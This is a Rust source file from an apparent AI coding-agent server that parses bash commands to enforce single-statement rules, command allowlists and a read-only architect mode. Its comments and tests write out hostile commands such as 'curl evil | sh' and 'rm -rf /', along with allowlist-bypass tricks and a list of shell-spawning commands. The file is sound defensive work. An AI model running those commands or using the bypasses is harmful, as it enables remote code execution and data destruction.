Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7/// Replace supplementary-plane code points (>= U+10000, i.e. 4-byte UTF-8) with
8/// U+FFFD before handing text to tree-sitter-bash.
9///
10/// The grammar's C external scanner reads out of bounds on a supplementary-plane
11/// char next to brace context and SIGSEGVs the process — a fatal, NON-deterministic
12/// crash (verified by fuzzing: BMP input never triggered it; supplementary input
13/// crashed ~64% of the time). Under `panic = "abort"` that segfault takes the whole
14/// MCP server down, so a single crafted `BashCommand` is a remote denial of service.
15///
16/// We only parse for *structure* (statement count, command names), so swapping these
17/// rare chars for U+FFFD is invisible to the caller: `bash -n` and the actual
18/// execution still see the original command (emoji and all). Returns `Cow::Borrowed`
19/// for the overwhelmingly common all-BMP case, so there's no cost on the hot path.
20fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21    if command.chars().any(|c| c as u32 >= 0x1_0000) {
22        Cow::Owned(
23            command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24        )
25    } else {
26        Cow::Borrowed(command)
27    }
28}
29
30/// Validate that `command` is a single top-level bash statement.
31///
32/// `allow_shell_probe` controls the tree-sitter-error fallback: when the
33/// embedded grammar flags an error, we *can* ask the real `bash -n -c` whether
34/// the syntax is actually valid (the grammar lags real bash). That spawns a
35/// shell on the request path, so it's gated to trusted (`wcgw`) mode only — in
36/// restricted modes (`code_writer`/`architect`) we must not spawn `bash` to
37/// vet a command, so tree-sitter's verdict is final there.
38pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39    let trimmed = command.trim();
40    if trimmed.is_empty() {
41        return Ok(());
42    }
43    if trimmed.contains('\0') {
44        return Err(WinxError::CommandExecutionError(
45            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46        ));
47    }
48
49    // Parse a copy with supplementary-plane chars neutralized (see
50    // `neutralize_supplementary`): tree-sitter-bash segfaults on them. `bash -n`
51    // below and the eventual execution still see the original `trimmed`.
52    let parse_src = neutralize_supplementary(trimmed);
53
54    let mut parser = Parser::new();
55    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56    parser.set_language(&language).map_err(|error| {
57        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58    })?;
59
60    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62    })?;
63    let root = tree.root_node();
64
65    if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66        return Err(WinxError::CommandExecutionError(
67            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68        ));
69    }
70
71    // `parse_src` (not `trimmed`): the node byte offsets index the parsed string.
72    let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74    if statement_count > 1 && !trimmed.contains('\n') {
75        return Err(WinxError::CommandExecutionError(
76            "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
77        ));
78    }
79
80    Ok(())
81}
82
83/// When tree-sitter flags a syntax error we *may* defer to the real `bash -n`
84/// (the embedded grammar lags real bash). That probe spawns a shell, so it only
85/// runs in trusted (wcgw) mode — `allow_shell_probe` gates it. In restricted
86/// modes (`code_writer`/`architect`) the grammar's verdict is final and we never
87/// shell out to vet a command.
88fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
89    allow_shell_probe && bash_accepts_syntax(command)
90}
91
92fn bash_accepts_syntax(command: &str) -> bool {
93    std::process::Command::new("bash")
94        .arg("-n")
95        .arg("-c")
96        .arg(command)
97        .status()
98        .is_ok_and(|status| status.success())
99}
100
101#[derive(Debug, Clone)]
102struct StatementNode {
103    kind: String,
104    start_byte: usize,
105    end_byte: usize,
106}
107
108fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
109    let mut statements = Vec::new();
110    collect_statement_nodes(root, &mut statements);
111
112    statements
113        .iter()
114        .filter(|stmt| stmt.kind != "comment")
115        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
116        .count()
117}
118
119fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
120    if is_statement_node(node.kind()) {
121        statements.push(StatementNode {
122            kind: node.kind().to_string(),
123            start_byte: node.start_byte(),
124            end_byte: node.end_byte(),
125        });
126    }
127
128    let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
129    for index in 0..child_count {
130        if let Some(child) = node.named_child(index) {
131            collect_statement_nodes(child, statements);
132        }
133    }
134}
135
136fn is_statement_node(kind: &str) -> bool {
137    matches!(
138        kind,
139        "command"
140            | "variable_assignment"
141            | "declaration_command"
142            | "unset_command"
143            | "comment"
144            | "for_statement"
145            | "c_style_for_statement"
146            | "while_statement"
147            | "if_statement"
148            | "case_statement"
149            | "function_definition"
150            | "pipeline"
151            | "list"
152            | "compound_statement"
153            | "subshell"
154            | "redirected_statement"
155    )
156}
157
158fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
159    if stmt.start_byte == other.start_byte
160        && stmt.end_byte == other.end_byte
161        && stmt.kind == other.kind
162    {
163        return false;
164    }
165
166    let other_text = &source[other.start_byte..other.end_byte];
167    if other.kind == "list" && other_text.contains(';') {
168        return false;
169    }
170
171    other.start_byte <= stmt.start_byte
172        && other.end_byte >= stmt.end_byte
173        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
174        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
175}
176
177/// Collect the full text of every `command` node in the script.
178///
179/// Descends through pipelines, lists, subshells, command/process substitution,
180/// loops and conditionals, so an allowlist can be enforced against EVERY command
181/// a line would run — not just `command_line.split_whitespace().next()`, which
182/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
183///
184/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
185/// callers treat that as "not allowed" (fail closed). Code hidden inside a
186/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
187/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
188pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
189    let trimmed = command.trim();
190    if trimmed.is_empty() {
191        return Ok(Vec::new());
192    }
193    if trimmed.contains('\0') {
194        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
195    }
196
197    // See `neutralize_supplementary`: parse a sanitized copy so a supplementary
198    // code point can't segfault tree-sitter. The extracted command texts feed the
199    // allowlist, which keys on the (ASCII) command name, so a U+FFFD standing in
200    // for an emoji in some argument doesn't change enforcement.
201    let parse_src = neutralize_supplementary(trimmed);
202
203    let mut parser = Parser::new();
204    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
205    parser.set_language(&language).map_err(|error| {
206        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
207    })?;
208
209    let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
210        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
211    })?;
212    let root = tree.root_node();
213    if root.has_error() {
214        return Err(WinxError::CommandExecutionError(
215            "Command could not be parsed for allowlist enforcement.".to_string(),
216        ));
217    }
218
219    let mut texts = Vec::new();
220    collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
221    Ok(texts)
222}
223
224fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
225    if node.kind() == "command" {
226        if let Ok(text) = node.utf8_text(src) {
227            out.push(text.to_string());
228        }
229    }
230    let mut cursor = node.walk();
231    for child in node.children(&mut cursor) {
232        collect_command_texts(child, src, out);
233    }
234}
235
236/// Commands that can execute arbitrary code passed as a string argument.
237///
238/// If a `code_writer` allowlist permits any of these, the allowlist is
239/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
240/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
241/// can't inspect the code hidden inside. This list backs an advisory warning,
242/// not enforcement — enforcement stays fail-closed regardless.
243pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
244    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
245    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
246    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
247];
248
249/// Commands exposed by architect mode. This deliberately omits general-purpose
250/// interpreters and utilities with write/exec primitives (`sed`, `awk`, `find`,
251/// `tee`, ...). Bash restricted mode is only defense in depth: it does not make
252/// ordinary commands such as `touch` or `rm` read-only.
253pub const ARCHITECT_COMMANDS: &[&str] = &[
254    "pwd",
255    "ls",
256    "rg",
257    "grep",
258    "head",
259    "tail",
260    "wc",
261    "stat",
262    "file",
263    "readlink",
264    "realpath",
265    "basename",
266    "dirname",
267    "printf",
268    "echo",
269    "type",
270    "which",
271    "uname",
272    "date",
273    "id",
274    "whoami",
275    "du",
276    "df",
277    "tree",
278    "git status",
279    "git diff",
280    "git log",
281    "git show",
282    "git ls-files",
283    "git grep",
284    "git rev-parse",
285    "git branch --show-current",
286];
287
288pub fn architect_allowed_commands() -> Vec<String> {
289    ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
290}
291
292/// Fail-closed read-only policy for architect shell commands.
293///
294/// The normal allowlist checks every nested command, but a few nominally
295/// read-only programs have options that execute helpers or write files. Validate
296/// those options here as well so `rg --pre`, `git diff --ext-diff`, and
297/// `git show --output=...` cannot turn the architect shell into a mutation path.
298pub fn is_architect_command_allowed(command_line: &str) -> bool {
299    if contains_file_redirect(command_line) {
300        return false;
301    }
302    let Ok(commands) = extract_command_texts(command_line) else { return false };
303    !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
304}
305
306/// Reject shell-managed file redirects in architect mode. Even a harmless
307/// command such as `echo` or `git diff` becomes a write primitive when followed
308/// by `> file`; checking command names alone cannot see that side effect.
309fn contains_file_redirect(command: &str) -> bool {
310    let parse_src = neutralize_supplementary(command.trim());
311    let mut parser = Parser::new();
312    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
313    if parser.set_language(&language).is_err() {
314        return true;
315    }
316    let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
317    let root = tree.root_node();
318    root.has_error() || node_tree_contains_kind(root, "file_redirect")
319}
320
321fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
322    if node.kind() == kind {
323        return true;
324    }
325    let mut cursor = node.walk();
326    let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
327    found
328}
329
330fn architect_command_is_safe(command: &str) -> bool {
331    let words: Vec<&str> = command.split_whitespace().collect();
332    let Some(program) = words.first().copied() else { return false };
333
334    if program == "git" {
335        let Some(subcommand) = words.get(1).copied() else { return false };
336        if subcommand == "branch" {
337            return words.as_slice() == ["git", "branch", "--show-current"];
338        }
339        if !matches!(
340            subcommand,
341            "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
342        ) {
343            return false;
344        }
345        return !words.iter().skip(2).any(|word| {
346            word.starts_with("--output")
347                || *word == "--ext-diff"
348                || *word == "--textconv"
349                || word.starts_with("--open-files-in-pager")
350        });
351    }
352
353    let allowed = ARCHITECT_COMMANDS
354        .iter()
355        .filter(|entry| !entry.starts_with("git "))
356        .any(|entry| *entry == program);
357    if !allowed {
358        return false;
359    }
360
361    if program == "rg" {
362        return !words.iter().skip(1).any(|word| {
363            word == &"--pre"
364                || word.starts_with("--pre=")
365                || word == &"--hostname-bin"
366                || word.starts_with("--hostname-bin=")
367        });
368    }
369
370    true
371}
372
373/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
374/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
375///
376/// The allowlist matches on command *name*, so we compare the basename of each
377/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
378/// `find -exec rm {} +` all resolve to `find`.
379pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
380    let mut hits: Vec<String> = allowed
381        .iter()
382        .filter_map(|entry| {
383            let first = entry.split_whitespace().next()?;
384            let base = std::path::Path::new(first).file_name()?.to_str()?;
385            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
386        })
387        .collect();
388    hits.sort();
389    hits.dedup();
390    hits
391}
392
393#[cfg(test)]
394mod tests {
395    use super::assert_single_statement;
396    use super::detect_allowlist_bypass;
397    use super::extract_command_texts;
398    use super::is_architect_command_allowed;
399    use proptest::prelude::*;
400
401    proptest! {
402        /// This gate parses untrusted LLM command strings with tree-sitter; under
403        /// panic=abort, any panic here crashes the server. It must only ever return
404        /// Ok/Err — never panic — for ANY input (incl. multiline, control chars, junk).
405        #[test]
406        fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
407            let _ = assert_single_statement(&cmd, false);
408            let _ = assert_single_statement(&cmd, true);
409        }
410
411        #[test]
412        fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
413            let _ = extract_command_texts(&cmd);
414        }
415    }
416
417    #[test]
418    fn supplementary_plane_input_does_not_segfault_the_parser() {
419        // Regression: `{` followed by a supplementary-plane code point (>= U+10000)
420        // made tree-sitter-bash's C scanner read out of bounds and SIGSEGV the whole
421        // process (a fatal, non-deterministic DoS under panic=abort). Both parse paths
422        // must now return cleanly. Run the minimal trigger many times to beat the
423        // non-determinism, plus a few representative supplementary chars.
424        for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
425            for _ in 0..40 {
426                let cmd = format!("{{{c}");
427                let _ = assert_single_statement(&cmd, false);
428                let _ = extract_command_texts(&cmd);
429            }
430        }
431    }
432
433    #[test]
434    fn emoji_command_still_validates_as_single_statement() {
435        // The fix sanitizes ONLY the parsed copy, so a legit command carrying an
436        // emoji is still accepted (not rejected) and seen as one statement.
437        assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
438    }
439
440    #[test]
441    fn architect_policy_allows_read_only_exploration() {
442        for command in [
443            "pwd",
444            "rg -n TODO src | head -20",
445            "git status --short",
446            "git diff -- src/lib.rs",
447            "git branch --show-current",
448        ] {
449            assert!(is_architect_command_allowed(command), "should allow: {command}");
450        }
451    }
452
453    #[test]
454    fn architect_policy_blocks_mutation_and_helper_execution() {
455        for command in [
456            "touch owned",
457            "rm file",
458            "sed -i s/a/b/ file",
459            "git checkout -- file",
460            "git diff --output=leak.patch",
461            "git branch --show-current --delete main",
462            "rg --pre 'touch owned' pattern",
463            "rg pattern $(touch owned)",
464            "echo owned > marker",
465            "git diff >> marker",
466            "ls 2> marker",
467        ] {
468            assert!(!is_architect_command_allowed(command), "should reject: {command}");
469        }
470    }
471
472    #[test]
473    fn extracts_nested_commands_for_allowlist() {
474        // Pipelines, && and command substitution must all surface.
475        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
476        assert!(names.iter().any(|c| c.starts_with("ls")));
477        assert!(names.iter().any(|c| c.starts_with("curl")));
478        assert!(names.iter().any(|c| c.starts_with("sh")));
479
480        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
481        assert!(subst.iter().any(|c| c.starts_with("rm")));
482    }
483
484    #[test]
485    fn accepts_shell_chains_as_single_statement() {
486        assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
487    }
488
489    #[test]
490    fn accepts_heredocs_as_single_statement() {
491        let command = "cat <<'EOF'\nhello\nEOF";
492        assert!(assert_single_statement(command, true).is_ok());
493    }
494
495    #[test]
496    fn accepts_for_loop_as_single_compound_statement() {
497        assert!(
498            assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
499        );
500    }
501
502    #[test]
503    fn rejects_semicolon_separated_top_level_statements() {
504        assert!(assert_single_statement("pwd; ls", true).is_err());
505    }
506
507    #[test]
508    fn accepts_multiline_scripts() {
509        assert!(assert_single_statement("pwd\nls", true).is_ok());
510    }
511
512    #[test]
513    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
514        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
515        assert!(assert_single_statement(command, true).is_ok());
516    }
517
518    #[test]
519    fn shell_probe_is_gated_to_trusted_mode() {
520        use super::rescued_by_shell_probe;
521        // The probe (`bash -n`) only runs in trusted (wcgw) mode. Tested on the
522        // pure decision so it doesn't depend on finding a command the embedded
523        // grammar happens to reject — which is the whole point of the gate.
524        //
525        // Probe ON: a command real bash accepts is rescued past a tree-sitter error.
526        assert!(rescued_by_shell_probe("echo hi", true));
527        // Probe OFF (restricted modes): NOT rescued, even though bash would accept
528        // it — and crucially we never spawn a shell to find out.
529        assert!(!rescued_by_shell_probe("echo hi", false));
530        // Probe ON but genuinely broken syntax: bash rejects too, so no rescue.
531        assert!(!rescued_by_shell_probe("echo )(", true));
532    }
533
534    #[test]
535    fn detect_allowlist_bypass_flags_shell_spawners() {
536        let allowed = vec![
537            "ls".to_string(),
538            "bash".to_string(),
539            "cat -n".to_string(),
540            "find . -exec rm {} +".to_string(),
541        ];
542        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
543    }
544
545    #[test]
546    fn detect_allowlist_bypass_clean_list_is_empty() {
547        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
548        assert!(detect_allowlist_bypass(&allowed).is_empty());
549    }
550
551    #[test]
552    fn detect_allowlist_bypass_matches_basename_of_path() {
553        let allowed = vec!["/usr/bin/env python".to_string()];
554        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
555    }
556
557    #[test]
558    fn rejects_nul_with_actionable_message() {
559        let error = match assert_single_statement("printf '\0'", true) {
560            Ok(()) => String::new(),
561            Err(error) => error.to_string(),
562        };
563        assert!(error.contains("NUL byte"));
564        assert!(error.contains("\\\\x00"));
565    }
566}